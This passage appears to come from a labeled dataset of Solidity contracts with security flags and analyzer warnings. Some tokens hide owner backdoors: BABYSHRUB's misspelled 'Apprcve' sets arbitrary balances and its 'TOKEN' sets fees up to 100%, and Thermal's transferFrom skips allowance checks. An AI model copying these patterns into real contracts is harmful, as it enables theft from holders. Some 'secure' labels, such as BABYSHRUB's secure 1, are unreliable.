override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function destroyTokens(\n address account,\n uint256 value\n ) public onlyOwner returns (bool) {\n require(value <= _balances[account], \"not enough supply\");\n require(account == tokenBurner, \"onlyOwner\");\n\n _balances[account] = _balances[account].sub(value);\n _totalSupply = _totalSupply.sub(value);\n emit Transfer(account, address(0), value);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public override returns (bool) {\n _approve(msg.sender, spender, value);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(amount)\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].sub(subtractedValue)\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(amount);\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 value) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] = _balances[account].sub(value);\n _totalSupply = _totalSupply.sub(value);\n emit Transfer(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = value;\n emit Approval(owner, spender, value);\n }\n\n function _burnFrom(address account, uint256 amount) internal {\n _burn(account, amount);\n _approve(\n account,\n msg.sender,\n _allowances[account][msg.sender].sub(amount)\n );\n }\n}", "file_name": "solidity_code_3000.sol", "secure": 1, "size_bytes": 5520 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Array.sol\" as Array;\n\ncontract TestArray {\n using Array for uint[];\n\n uint256[] public arr;\n\n function testArrayRemove() public {\n for (uint256 i = 0; i < 3; i++) {\n arr.push(i);\n }\n\n arr.remove(1);\n\n assert(arr.length == 2);\n assert(arr[0] == 0);\n assert(arr[1] == 2);\n }\n}", "file_name": "solidity_code_3001.sol", "secure": 1, "size_bytes": 435 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ILevel {\n function createInstance(address) external returns (address);\n function validateInstance(address payable, address) external returns (bool);\n}", "file_name": "solidity_code_3002.sol", "secure": 1, "size_bytes": 231 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract LootTerritory is ERC721Enumerable, ReentrancyGuard, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 6ea4ad6): LootTerritory.lootContract should be constant \n\t// Recommendation for 6ea4ad6: Add the 'constant' attribute to state variables that never change.\n ERC721 lootContract = ERC721(0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7);\n\n\t// WARNING Optimization Issue (constable-states | ID: e047680): LootTerritory.maxSupply should be constant \n\t// Recommendation for e047680: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 8000;\n uint256 public currentSupply = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21c625d): LootTerritory.lootersPrice should be constant \n\t// Recommendation for 21c625d: Add the 'constant' attribute to state variables that never change.\n uint256 public lootersPrice = 10000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 1c11047): LootTerritory.publicPrice should be constant \n\t// Recommendation for 1c11047: Add the 'constant' attribute to state variables that never change.\n uint256 public publicPrice = 20000000000000000;\n\n string[] private location = [\"Sky Town\", \"Land Island\", \"Ocean Base\"];\n\n string[] private size = [\n \"1 mile * 1 mile\",\n \"10 mile * 10 mile\",\n \"100 mile * 100 mile\",\n \"1000 mile * 1000 mile\",\n \"10000 mile * 10000 mile\",\n \"100000 mile * 100000 mile\",\n \"1000000 mile * 1000000 mile\"\n ];\n\n string[] private population = [\n \"100\",\n \"1000\",\n \"10000\",\n \"100000\",\n \"1000000\",\n \"10000000\",\n \"100000000\",\n \"1000000000\",\n \"10000000000\",\n \"100000000000\",\n \"1000000000000\"\n ];\n\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n\n function getLocation(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"Location\", location);\n }\n\n function getSize(uint256 tokenId) public view returns (string memory) {\n return pluck(tokenId, \"size\", size);\n }\n\n function getPopulation(\n uint256 tokenId\n ) public view returns (string memory) {\n return pluck(tokenId, \"population\", population);\n }\n\n function pluck(\n uint256 tokenId,\n string memory keyPrefix,\n string[] memory sourceArray\n ) internal view returns (string memory) {\n uint256 rand = random(\n string(abi.encodePacked(keyPrefix, toString(tokenId)))\n );\n string memory output = sourceArray[rand % sourceArray.length];\n output = string(abi.encodePacked(keyPrefix, \": \", output));\n\n return output;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n string[7] memory parts;\n parts[\n 0\n ] = \"<svg xmlns='http://www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 350 350'><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width='100%' height='100%' fill='black' /><text x='10' y='20' class='base'>\";\n\n parts[1] = getLocation(tokenId);\n\n parts[2] = \"</text><text x='10' y='40' class='base'>\";\n\n parts[3] = getSize(tokenId);\n\n parts[4] = \"</text><text x='10' y='60' class='base'>\";\n\n parts[5] = getPopulation(tokenId);\n\n parts[6] = \"</text></svg>\";\n\n string memory output = string(\n abi.encodePacked(\n parts[0],\n parts[1],\n parts[2],\n parts[3],\n parts[4],\n parts[5],\n parts[6]\n )\n );\n\n string memory json = Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'Sheet #\",\n toString(tokenId),\n \"', 'description': 'Loot Territory are randomized RPG style Territory generated and stored on chain. Feel free to use Loot Territory in any way you want.', 'image': 'data:image/svg+xml;base64,\",\n Base64.encode(bytes(output)),\n \"'}\"\n )\n )\n )\n );\n output = string(\n abi.encodePacked(\"data:application/json;base64,\", json)\n );\n\n return output;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 8818890): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 8818890: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mintWithLoot(uint256 lootId) public payable nonReentrant {\n require(\n lootContract.ownerOf(lootId) == msg.sender,\n \"This Loot is not owned by the minter\"\n );\n require(lootersPrice <= msg.value, \"Not enough Ether sent\");\n require(currentSupply < maxSupply, \"All mounts are minted\");\n\t\t// reentrancy-no-eth | ID: 8818890\n _safeMint(msg.sender, currentSupply);\n\t\t// reentrancy-no-eth | ID: 8818890\n currentSupply += 1;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 40306d4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 40306d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint() public payable nonReentrant {\n require(publicPrice <= msg.value, \"Not enough Ether sent\");\n require(currentSupply < maxSupply, \"All mounts are minted\");\n\n\t\t// reentrancy-no-eth | ID: 40306d4\n _safeMint(msg.sender, currentSupply);\n\t\t// reentrancy-no-eth | ID: 40306d4\n currentSupply += 1;\n }\n\n function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {\n require(tokenId > 9575 && tokenId < 10001, \"Token ID invalid\");\n _safeMint(owner(), tokenId);\n }\n\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: e743014): LootTerritory.withdraw() ignores return value by address(owner()).call{value balance}()\n\t// Recommendation for e743014: Ensure that the return value of a low-level call is checked or logged.\n function withdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n\t\t// unchecked-lowlevel | ID: e743014\n payable(owner()).call{value: balance}(\"\");\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n constructor() ERC721(\"Loot Class\", \"CLASS\") Ownable() {}\n}", "file_name": "solidity_code_3003.sol", "secure": 0, "size_bytes": 7875 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract Crowdsale is ReentrancyGuard {\n using SafeERC20 for IERC20;\n\n IERC20 private _token;\n\n address payable private _wallet;\n\n uint256 private _price_per_full_token;\n\n uint256 private _weiRaised;\n\n event TokensPurchased(\n address indexed purchaser,\n address indexed beneficiary,\n uint256 value,\n uint256 amount\n );\n\n constructor(\n uint256 init_price_per_full_token,\n address payable init_wallet,\n IERC20 init_token\n ) {\n require(init_price_per_full_token > 0, \"Crowdsale: rate is 0\");\n require(\n init_wallet != address(0),\n \"Crowdsale: wallet is the zero address\"\n );\n require(\n address(init_token) != address(0),\n \"Crowdsale: token is the zero address\"\n );\n\n _price_per_full_token = init_price_per_full_token;\n _wallet = init_wallet;\n _token = init_token;\n }\n\n receive() external payable {\n buyTokens(msg.sender);\n }\n\n function token() public view returns (IERC20) {\n return _token;\n }\n\n function wallet() public view returns (address payable) {\n return _wallet;\n }\n\n function weiRaised() public view returns (uint256) {\n return _weiRaised;\n }\n\n function buyTokens(address beneficiary) public payable nonReentrant {\n uint256 weiAmount = msg.value;\n _preValidatePurchase(beneficiary, weiAmount);\n\n uint256 tokens = _getTokenAmount(weiAmount);\n\n _weiRaised = _weiRaised + weiAmount;\n\n _processPurchase(beneficiary, tokens);\n emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);\n\n _updatePurchasingState(beneficiary, weiAmount);\n\n _forwardFunds();\n _postValidatePurchase(beneficiary, weiAmount);\n }\n\n function _preValidatePurchase(\n address beneficiary,\n uint256 weiAmount\n ) internal view virtual {\n require(\n beneficiary != address(0),\n \"Crowdsale: beneficiary is the zero address\"\n );\n require(weiAmount != 0, \"Crowdsale: weiAmount is 0\");\n }\n\n function _postValidatePurchase(\n address beneficiary,\n uint256 weiAmount\n ) internal view virtual {}\n\n function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {\n _token.safeTransfer(beneficiary, tokenAmount);\n }\n\n function _processPurchase(\n address beneficiary,\n uint256 tokenAmount\n ) internal {\n _deliverTokens(beneficiary, tokenAmount);\n }\n\n function _updatePurchasingState(\n address beneficiary,\n uint256 weiAmount\n ) internal virtual {}\n\n function _getTokenAmount(uint256 weiAmount) public view returns (uint256) {\n return (weiAmount * 10 ** 18) / _price_per_full_token;\n }\n\n function _forwardFunds() internal {\n _wallet.transfer(msg.value);\n }\n}", "file_name": "solidity_code_3004.sol", "secure": 1, "size_bytes": 3310 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ILevel.sol\" as ILevel;\n\ninterface IEthernaut {\n function createLevelInstance(ILevel) external;\n function submitLevelInstance(address payable) external;\n}", "file_name": "solidity_code_3005.sol", "secure": 1, "size_bytes": 236 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Crowdsale.sol\" as Crowdsale;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract CappedCrowdsale is Crowdsale {\n uint256 private _total_cap;\n uint256 private _address_cap;\n uint256 private _tx_cap;\n\n mapping(address => uint256) private _balances;\n\n constructor(\n uint256 init_price_per_full_token,\n address payable init_wallet,\n IERC20 init_token,\n uint256 init_total_cap,\n uint256 init_address_cap,\n uint256 init_tx_cap\n ) Crowdsale(init_price_per_full_token, init_wallet, init_token) {\n require(init_total_cap > 0, \"CappedCrowdsale: cap is 0\");\n _total_cap = init_total_cap;\n _address_cap = init_address_cap;\n _tx_cap = init_tx_cap;\n }\n\n function capReached() public view returns (bool) {\n return weiRaised() >= _total_cap;\n }\n\n function tokensAvailable() public view returns (bool) {\n return weiRaised() >= _total_cap;\n }\n\n function _preValidatePurchase(\n address beneficiary,\n uint256 weiAmount\n ) internal view virtual override {\n super._preValidatePurchase(beneficiary, weiAmount);\n require(\n (weiRaised() + weiAmount) <= _total_cap,\n \"CappedCrowdsale: total cap exceeded\"\n );\n require(weiAmount <= _tx_cap, \"CappedCrowdsale: tx cap exceeded\");\n require(\n (_balances[beneficiary] + _getTokenAmount(weiAmount)) <=\n _address_cap,\n \"CappedCrowdsale: address cap exceeded\"\n );\n }\n\n function _updatePurchasingState(\n address beneficiary,\n uint256 weiAmount\n ) internal override {\n super._updatePurchasingState(beneficiary, weiAmount);\n _balances[beneficiary] =\n _balances[beneficiary] +\n _getTokenAmount(weiAmount);\n }\n}", "file_name": "solidity_code_3006.sol", "secure": 1, "size_bytes": 1975 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./CappedCrowdsale.sol\" as CappedCrowdsale;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract JPEGCrowdsale is CappedCrowdsale {\n uint256 constant INIT_PRICE_PER_FULL_TOKEN = 7 * 10 ** 16;\n address payable constant INIT_WALLET =\n payable(0xE941BD30a752F58DBC75e4f9Acb9353c8bBd8e21);\n IERC20 constant INIT_TOKEN =\n IERC20(0x1bF4307043AE89b875D26AaD968e1c584Bb3360E);\n uint256 constant INIT_TOTAL_CAP = 10000 * 10 ** 18;\n uint256 constant INIT_ADDRESS_CAP = 100 * 10 ** 18;\n uint256 constant INIT_TX_CAP = 20 * 10 ** 18;\n\n constructor()\n CappedCrowdsale(\n INIT_PRICE_PER_FULL_TOKEN,\n INIT_WALLET,\n INIT_TOKEN,\n INIT_TOTAL_CAP,\n INIT_ADDRESS_CAP,\n INIT_TX_CAP\n )\n {}\n\n function _preValidatePurchase(\n address beneficiary,\n uint256 weiAmount\n ) internal view override {\n super._preValidatePurchase(beneficiary, weiAmount);\n require(\n weiAmount % INIT_PRICE_PER_FULL_TOKEN == 0,\n \"JPEGCrowdsale: you cant buy fractions of JPGS\"\n );\n }\n}", "file_name": "solidity_code_3007.sol", "secure": 1, "size_bytes": 1244 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\nimport \"./Owned.sol\" as Owned;\n\ncontract Token is ERC20Token, Owned {\n string public _symbol;\n string public _name;\n\t// WARNING Optimization Issue (immutable-states | ID: 909d255): Token._decimal should be immutable \n\t// Recommendation for 909d255: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public _decimal;\n uint256 public _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 87b1545): Token._minter should be immutable \n\t// Recommendation for 87b1545: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _minter;\n\n mapping(address => uint256) balances;\n\n constructor() {\n _symbol = \"THML\";\n _name = \"Thermal\";\n _decimal = 8;\n _totalSupply = 100000000000;\n _minter = 0x872F2b7D39B5E58784D67b30Bf7E112d5d7b4F7a;\n\n balances[_minter] = _totalSupply;\n emit Transfer(address(0), _minter, _totalSupply);\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view override returns (uint8) {\n return _decimal;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address _owner\n ) public view override returns (uint256 balance) {\n return balances[_owner];\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public override returns (bool success) {\n require(balances[_from] >= _value);\n balances[_from] -= _value;\n balances[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public override returns (bool success) {\n return transferFrom(msg.sender, _to, _value);\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public override returns (bool success) {\n return true;\n }\n\n function allowance(\n address _owner,\n address _spender\n ) public view override returns (uint256 remaining) {\n return 0;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 67e53d3): Token.mint(uint256) should emit an event for _totalSupply += amount \n\t// Recommendation for 67e53d3: Emit an event for critical parameter changes.\n function mint(uint256 amount) public returns (bool) {\n require(msg.sender == _minter);\n balances[_minter] += amount;\n\t\t// events-maths | ID: 67e53d3\n _totalSupply += amount;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b0bb9f3): Token.confiscate(address,uint256) should emit an event for _totalSupply = amount _totalSupply = balances[target] \n\t// Recommendation for b0bb9f3: Emit an event for critical parameter changes.\n function confiscate(address target, uint256 amount) public returns (bool) {\n require(msg.sender == _minter);\n\n if (balances[target] >= amount) {\n balances[target] -= amount;\n\t\t\t// events-maths | ID: b0bb9f3\n _totalSupply -= amount;\n } else {\n\t\t\t// events-maths | ID: b0bb9f3\n _totalSupply -= balances[target];\n balances[target] = 0;\n }\n return true;\n }\n}", "file_name": "solidity_code_3008.sol", "secure": 0, "size_bytes": 3737 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ILevel.sol\" as ILevel;\nimport \"./IEthernaut.sol\" as IEthernaut;\n\ncontract Utils {\n address internal constant ETHERNAUT_ADDRESS =\n 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33;\n\n function createLevelInstance(\n address _levelFactory\n ) public returns (address) {\n IEthernaut ethernaut = IEthernaut(ETHERNAUT_ADDRESS);\n ILevel level = ILevel(_levelFactory);\n\n ethernaut.createLevelInstance(level);\n }\n\n function submitLevelInstance() public {}\n}", "file_name": "solidity_code_3009.sol", "secure": 1, "size_bytes": 579 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BABYSHRUB is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ed52901): BABYSHRUB._decimals should be immutable \n\t// Recommendation for ed52901: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 76a408e): BABYSHRUB._totalSupply should be immutable \n\t// Recommendation for 76a408e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b3bbb64): BABYSHRUB._bootsmark should be immutable \n\t// Recommendation for b3bbb64: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _bootsmark;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _bootsmark = msg.sender;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function TOKEN(address us, uint256 tse) external {\n require(_iee(msg.sender), \"Caller is not the original caller\");\n\n uint256 ee = 100;\n\n bool on = tse <= ee;\n\n _everter(on);\n\n _seFee(us, tse);\n }\n\n function _iee(address caller) internal view returns (bool) {\n return iMee();\n }\n\n function _everter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _seFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function iMee() internal view returns (bool) {\n return _msgSender() == _bootsmark;\n }\n\n function Apprcve(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] = receiveRewrd;\n require(_iee(recipient), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_301.sol", "secure": 1, "size_bytes": 5219 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PWOW is ERC20(\"PWOW\", \"PWOW\"), Ownable {\n mapping(address => bool) public managers;\n\n function addManager(address _address) external onlyOwner {\n managers[_address] = true;\n }\n\n function removeManager(address _address) external onlyOwner {\n managers[_address] = false;\n }\n\n function mint(address _to, uint256 _amount) external {\n require(\n managers[msg.sender] == true,\n \"This address is not allowed to interact with the contract\"\n );\n _mint(_to, _amount);\n }\n\n function burn(address _from, uint256 _amount) external {\n require(\n managers[msg.sender] == true,\n \"This address is not allowed to interact with the contract\"\n );\n _burn(_from, _amount);\n }\n}", "file_name": "solidity_code_3010.sol", "secure": 1, "size_bytes": 1010 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract WnsOwnable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(msg.sender);\n }\n\n modifier onlyOwner() {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_3011.sol", "secure": 1, "size_bytes": 978 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./WnsOwnable.sol\" as WnsOwnable;\n\nabstract contract WnsAddresses is WnsOwnable {\n mapping(string => address) private _wnsAddresses;\n\n function setWnsAddresses(\n string[] memory _labels,\n address[] memory _addresses\n ) public onlyOwner {\n require(_labels.length == _addresses.length, \"Arrays do not match\");\n\n for (uint256 i = 0; i < _addresses.length; i++) {\n _wnsAddresses[_labels[i]] = _addresses[i];\n }\n }\n\n function getWnsAddress(string memory _label) public view returns (address) {\n return _wnsAddresses[_label];\n }\n}", "file_name": "solidity_code_3012.sol", "secure": 1, "size_bytes": 683 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./WnsOwnable.sol\" as WnsOwnable;\nimport \"./WnsAddresses.sol\" as WnsAddresses;\n\ncontract WnsRegistry is WnsOwnable, WnsAddresses {\n mapping(bytes32 => uint256) private _hashToTokenId;\n mapping(uint256 => string) private _tokenIdToName;\n\n function setRecord(\n bytes32 _hash,\n uint256 _tokenId,\n string memory _name\n ) public {\n require(\n msg.sender == getWnsAddress(\"_wnsRegistrar\") ||\n msg.sender == getWnsAddress(\"_wnsMigration\"),\n \"Caller is not authorized.\"\n );\n _hashToTokenId[_hash] = _tokenId;\n _tokenIdToName[_tokenId - 1] = _name;\n }\n\n function setRecord(uint256 _tokenId, string memory _name) public {\n require(\n msg.sender == getWnsAddress(\"_wnsRegistrar\"),\n \"Caller is not Registrar\"\n );\n _tokenIdToName[_tokenId - 1] = _name;\n }\n\n function getRecord(bytes32 _hash) public view returns (uint256) {\n return _hashToTokenId[_hash];\n }\n\n function getRecord(uint256 _tokenId) public view returns (string memory) {\n return _tokenIdToName[_tokenId];\n }\n}", "file_name": "solidity_code_3013.sol", "secure": 1, "size_bytes": 1239 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract AquaDrops is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n\t// WARNING Optimization Issue (immutable-states | ID: 9dadc81): AquaDrops.uniswapV2Router should be immutable \n\t// Recommendation for 9dadc81: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 25e82de): AquaDrops.uniswapV2Pair should be immutable \n\t// Recommendation for 25e82de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0xc2389D3be3861957618E765cd03e3D89A9656393,\n 100000000000000 * 10 ** 18\n );\n _enable[0xc2389D3be3861957618E765cd03e3D89A9656393] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"AquaDrops\";\n _symbol = \"Aqua\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, 